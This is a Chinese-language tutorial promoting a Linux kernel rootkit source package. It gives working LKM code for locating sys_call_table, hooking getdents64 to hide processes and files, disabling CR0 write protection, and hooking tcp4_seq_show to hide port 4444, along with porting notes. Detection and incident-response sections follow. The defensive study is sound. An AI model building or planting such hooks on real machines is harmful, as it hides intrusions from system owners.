简介:这是一份面向Linux内核安全初学者与系统编程爱好者的rootkit源码学习资料,聚焦内核模块隐藏、进程隐藏等基础功能的实现原理,适合用于理解内核态代码如何与用户态工具配合完成隐蔽操作。压缩包共46个文件,约36KB,以C源码与头文件为核心,辅以Makefile构建脚本、Python编写的控制端脚本、README说明文档及LaTeX论文素材,另含Git版本管理相关文件,整体结构紧凑,便于按模块阅读与编译实验。目前已有369人学习关注,说明该方向具备一定受众基础。读者可从中获取可编译运行的模块源码、隐藏功能的实现思路、构建与加载流程,以及配套的命令行控制脚本,适合作为内核安全入门练手项目,也可在此基础上扩展更多隐藏能力,加深对Linux内核机制与安全对抗的理解。
1. Linux rootkit 源码到底在写什么:从一次应急排查说起
一台跑了三年的边缘节点,CPU 占用常年 3% 以下,某天突然稳定在 12% 左右,top里却找不到对应进程。lsmod输出干净,ps aux也没有可疑条目,但netstat -antp里有个 ESTABLISHED 连接指向一个陌生 IP,lsof查不到归属。这种「看得见现象、找不到主体」的状态,基本就是内核态 rootkit 的典型表现。Linux rootkit 源码,讲的就是这类通过可加载内核模块(LKM)或内核补丁,劫持系统调用、隐藏进程与文件、维持持久化访问的底层代码。它属于内核安全与应急响应领域,适合做主机入侵检测、内核模块审计、EDR 对抗研究的工程师。理解它的实现,不是为了写攻击工具,而是为了在排查时知道该看哪里、哪些命令的输出可能已经被篡改。
2. 内核模块劫持系统调用的最小实现路径
2.1 为什么 rootkit 偏爱 LKM 而不是直接改内核
Linux 内核支持动态加载模块,insmod一个.ko文件就能把代码注入内核空间,不需要重新编译整个内核,也不需要重启。这是 rootkit 最常用的载体。直接修改内核源码再编译,动静太大,目标机器上还得有对应的内核头文件,实战中不现实。LKM 的优势在于:编译依赖linux-headers-$(uname -r),目标机器上大概率已经装了;加载后运行在内核态,权限最高;卸载后痕迹相对容易清理。
但 LKM 也有硬伤。内核 5.7 之后,kallsyms_lookup_name不再导出给模块使用,很多老 rootkit 源码直接卡在这一步。常见做法是改用 kprobe 动态获取符号地址,或者遍历sys_call_table所在的内存页。另一个问题是内核模块签名,主流发行版默认开启CONFIG_MODULE_SIG_FORCE,未签名的模块直接拒绝加载。所以研究 rootkit 源码,第一步不是看它怎么隐藏,而是看它怎么绕过加载限制。
2.2 获取 sys_call_table 地址的三种可行方式
sys_call_table是系统调用分发表,劫持它就能替换任意系统调用的行为。但这个符号在kallsyms里默认不可见,需要想办法拿到地址。
第一种,kprobe 方式,适用于内核 5.7 以上:
#include <linux/kprobes.h> #include <linux/module.h> static struct kprobe kp = { .symbol_name = "kallsyms_lookup_name" }; static unsigned long (*kln)(const char *name); static int __init get_sct_init(void) { unsigned long *sct; int ret; ret = register_kprobe(&kp); if (ret < 0) { pr_err("register_kprobe failed: %d\n", ret); return ret; } kln = (void *)kp.addr; unregister_kprobe(&kp); sct = (unsigned long *)kln("sys_call_table"); if (!sct) { pr_err("sys_call_table not found\n"); return -ENOENT; } pr_info("sys_call_table at %px\n", sct); return 0; }register_kprobe把探针挂到kallsyms_lookup_name上,kp.addr就是该函数的实际地址。拿到地址后直接调用,就能查任意符号。注意kallsyms_lookup_name本身可能被内联,某些内核版本上 kprobe 会失败,这时需要换用kallsyms_on_each_symbol遍历。
第二种,暴力扫描内核内存。sys_call_table的特征是连续存放的指针数组,每个元素指向__x64_sys_*函数。从0xffffffff80000000开始按页扫描,找满足「连续多个元素都落在内核代码段」的地址。这种方式慢但通用,缺点是可能误判,需要加校验。
第三种,从/proc/kallsyms读。如果kptr_restrict为 0 且当前用户有权限,直接cat /proc/kallsyms | grep sys_call_table就能看到。但生产环境通常kptr_restrict=1,普通用户看到的是全零。这种方式只适合在实验环境快速验证。
2.3 劫持一个系统调用的完整代码骨架
拿到sys_call_table后,替换表项就是核心操作。以隐藏进程为例,通常劫持sys_getdents64或sys_kill。下面是一个最小骨架:
#include <linux/module.h> #include <linux/kernel.h> #include <linux/syscalls.h> #include <linux/dirent.h> #include <linux/uaccess.h> static unsigned long *sct; static asmlinkage long (*orig_getdents64)(const struct pt_regs *); static asmlinkage long hook_getdents64(const struct pt_regs *regs) { long ret = orig_getdents64(regs); struct linux_dirent64 __user *dirp; struct linux_dirent64 *kbuf, *cur; unsigned long offset = 0; int fd = regs->di; unsigned int count = regs->si; if (ret <= 0) return ret; dirp = (struct linux_dirent64 __user *)regs->si; kbuf = kzalloc(ret, GFP_KERNEL); if (!kbuf) return ret; if (copy_from_user(kbuf, dirp, ret)) { kfree(kbuf); return ret; } cur = kbuf; while (offset < ret) { if (strstr(cur->d_name, "hidden_proc")) { unsigned long reclen = cur->d_reclen; memmove(cur, (char *)cur + reclen, ret - offset - reclen); ret -= reclen; continue; } offset += cur->d_reclen; cur = (struct linux_dirent64 *)((char *)kbuf + offset); } if (copy_to_user(dirp, kbuf, ret)) ret = -EFAULT; kfree(kbuf); return ret; } static int __init hook_init(void) { sct = (unsigned long *)kallsyms_lookup_name("sys_call_table"); if (!sct) return -ENOENT; orig_getdents64 = (void *)sct[__NR_getdents64]; write_cr0(read_cr0() & ~0x10000); // 关闭写保护 sct[__NR_getdents64] = (unsigned long)hook_getdents64; write_cr0(read_cr0() | 0x10000); // 恢复写保护 return 0; } static void __exit hook_exit(void) { write_cr0(read_cr0() & ~0x10000); sct[__NR_getdents64] = (unsigned long)orig_getdents64; write_cr0(read_cr0() | 0x10000); } module_init(hook_init); module_exit(hook_exit); MODULE_LICENSE("GPL");write_cr0操作的是控制寄存器 CR0 的 WP 位(第 16 位),清零后内核允许写只读页。这是老方法,内核 5.3 之后write_cr0被加固,直接调用会触发警告甚至 panic。新做法是用set_memory_rw把sys_call_table所在页临时改为可写,改完再set_memory_ro恢复。参数上,__NR_getdents64是系统调用号,x86_64 上是 217,ARM64 上不同,交叉编译时要用目标架构的头文件。
hook_getdents64的逻辑是:先调用原始函数拿到目录项,拷贝到内核缓冲区,遍历每个linux_dirent64,发现名字匹配就memmove覆盖掉,减少返回长度。这里有个坑,d_reclen是变长的,不能假设固定大小,必须按每个条目自己的d_reclen推进。
3. 隐藏进程、文件与端口的三种落地手法
3.1 进程隐藏:getdents64 与 kill 双路径
只劫持getdents64能骗过ls、ps,但骗不过kill。如果 rootkit 隐藏的进程还在跑,用户kill -9 <pid>时,sys_kill会检查 pid 是否存在,如果进程被隐藏但 pid 还在,kill会返回成功但实际没杀到,或者返回 ESRCH。更彻底的做法是同时劫持sys_kill,对特定 pid 返回-ESRCH,让用户以为进程不存在。
还有一种路径是劫持/proc的 inode 操作。/proc/<pid>目录的生成依赖proc_pid_readdir,直接 hook 这个函数比 hookgetdents64更底层,但兼容性差,内核版本一变就崩。实战中getdents64方案最稳,因为它的接口几十年没变。
3.2 文件隐藏:filldir 与 getdents 的取舍
老内核用filldir回调,新内核统一到getdents64。文件隐藏和进程隐藏代码结构几乎一样,区别在于匹配的目录路径。通常只隐藏特定目录下的文件,比如/etc/下的某个配置文件,或者/tmp/下的载荷。匹配时要注意,d_name是相对路径,不含目录前缀,所以需要先判断当前遍历的是哪个目录。可以在 hook 里通过current->fs->pwd或者传入的 fd 反查路径,但开销大。简单做法是只匹配文件名,不管目录,缺点是可能误隐藏同名文件。
3.3 端口隐藏:hook tcp4_seq_show
netstat和ss读的是/proc/net/tcp,这个文件由tcp4_seq_show生成。劫持这个函数,在输出前过滤掉特定端口,就能让端口在netstat里消失。实现上不是替换sys_call_table,而是替换seq_operations结构里的show指针:
static struct seq_operations *tcp4_seq_ops; static int (*orig_tcp4_seq_show)(struct seq_file *, void *); static int hook_tcp4_seq_show(struct seq_file *seq, void *v) { struct inet_sock *isk; struct sock *sk = v; if (v == SEQ_START_TOKEN) return orig_tcp4_seq_show(seq, v); isk = inet_sk(sk); if (ntohs(isk->inet_sport) == 4444 || ntohs(isk->inet_dport) == 4444) return 0; return orig_tcp4_seq_show(seq, v); }tcp4_seq_ops的地址通过kallsyms_lookup_name获取,然后替换show字段。注意v可能是SEQ_START_TOKEN,这是 seq_file 的起始标记,必须放行,否则整个文件读不出来。端口比较用ntohs转成主机字节序,因为内核里存的是网络字节序。
4. 编译、加载与排查:rootkit 源码的避坑清单
4.1 模块编译报错的五个高频原因
现象:make报error: implicit declaration of function 'kallsyms_lookup_name'。原因:内核 5.7 之后该符号不再导出。解决:改用 kprobe 获取,或降级到 5.4 内核做实验。
现象:insmod报Unknown symbol in module。原因:模块依赖的符号在当前内核未导出。解决:modinfo xxx.ko看依赖,cat /proc/kallsyms | grep <符号>确认是否存在。
现象:insmod报Operation not permitted。原因:模块签名强制开启,或 Secure Boot 拦截。解决:实验环境关闭 Secure Boot,或mokutil --disable-validation,生产环境不要动。
现象:加载后系统卡死或 panic。原因:write_cr0触发 WP 保护,或 hook 函数里访问了非法地址。解决:改用set_memory_rw,hook 里所有用户态指针必须copy_from_user。
现象:rmmod报Module is in use。原因:hook 后没恢复原函数指针,或模块引用计数没减。解决:exit函数里严格按加载逆序恢复,module_put配对。
4.2 排查被 rootkit 篡改的系统命令
怀疑机器被植入 rootkit 时,不要信目标机上的ps、ls、netstat,它们可能已经被 hook。用静态编译的工具从外部挂载排查:
# 在干净机器上静态编译 busybox wget https://busybox.net/downloads/busybox-1.36.1.tar.bz2 tar xf busybox-1.36.1.tar.bz2 cd busybox-1.36.1 make defconfig sed -i 's/^# CONFIG_STATIC.*/CONFIG_STATIC=y/' .config make -j$(nproc) # 把 busybox 拷到目标机 /tmp 下运行 ./busybox ps aux ./busybox netstat -antp静态 busybox 不依赖目标机的 libc,也不走被 hook 的 glibc 封装,能绕过一部分用户态劫持。但内核态的getdents64hook 它照样中招,因为系统调用层被改了。更可靠的是从/proc直接读原始数据,或者用crash工具分析内存转储。
另一个手段是对比/proc/kallsyms和模块列表。lsmod可能被 hook 隐藏模块,直接读/sys/module/目录:
ls /sys/module/ | while read m; do if [ ! -d "/sys/module/$m/sections" ]; then echo "suspicious: $m" fi done正常模块在/sys/module/<name>/sections下有节区信息,rootkit 模块如果没正确初始化,这里可能是空的。
4.3 内核版本与 API 兼容性对照
| 内核版本 | kallsyms_lookup_name | write_cr0 | sys_call_table 获取 |
|---|---|---|---|
| 4.x | 导出 | 可用 | 直接调用 |
| 5.0-5.6 | 导出 | 可用 | 直接调用 |
| 5.7-5.15 | 不导出 | 加固 | kprobe 或扫描 |
| 6.x | 不导出 | 不可用 | kprobe + set_memory_rw |
这张表是血泪经验,跨版本移植 rootkit 源码时第一个要看的就是它。很多网上流传的代码是 4.x 时代的,直接拿到 6.x 上编译,报错能堆满一屏。
5. 从源码研究到检测:把攻击手法变成防御规则
研究 rootkit 源码的最终价值,是知道怎么检测它。上面讲的每种隐藏手法,都有对应的检测思路。
进程隐藏检测:对比/proc目录数量和ps输出数量。ls /proc | grep -E '^[0-9]+$' | wc -l得到的是内核实际存在的进程数,ps aux | wc -l得到的是用户态看到的。两者差超过阈值,就有问题。更精确的是读/proc/<pid>/stat的starttime字段,和ps输出的启动时间对比,被隐藏的进程在/proc里还在,只是ps不显示。
系统调用表完整性检测:在干净内核上记录sys_call_table每个表项的地址范围,运行时定期校验。如果某个表项指向的地址不在内核代码段(0xffffffff81000000到0xffffffffc0000000之间),说明被替换了。这个检查可以做成内核模块,也可以从/dev/kmem读(如果可用)。
模块列表交叉验证:lsmod读的是/proc/modules,rootkit 可以 hook 这个文件。直接遍历/sys/module/目录,对比两者差异。另外检查每个模块的holders和initstate,异常模块的initstate可能是live但holders为空。
一个我自己的习惯:在每台生产机器上部署前,先跑一遍strace -f -e trace=getdents64 ls /,记录正常的系统调用序列。之后定期对比,如果getdents64的返回条目数突然减少,或者openat打开的文件在getdents64里看不到,就触发告警。这个方法笨,但能抓到大部分基于目录项过滤的隐藏手法。
内核 rootkit 的攻防本质是信息差:攻击者知道哪些接口被 hook 了,防御者不知道。把源码读一遍,把每个 hook 点对应的检测方法记下来,这个信息差就抹平了。希望帮到你。
本文还有配套的精品资源,点击获取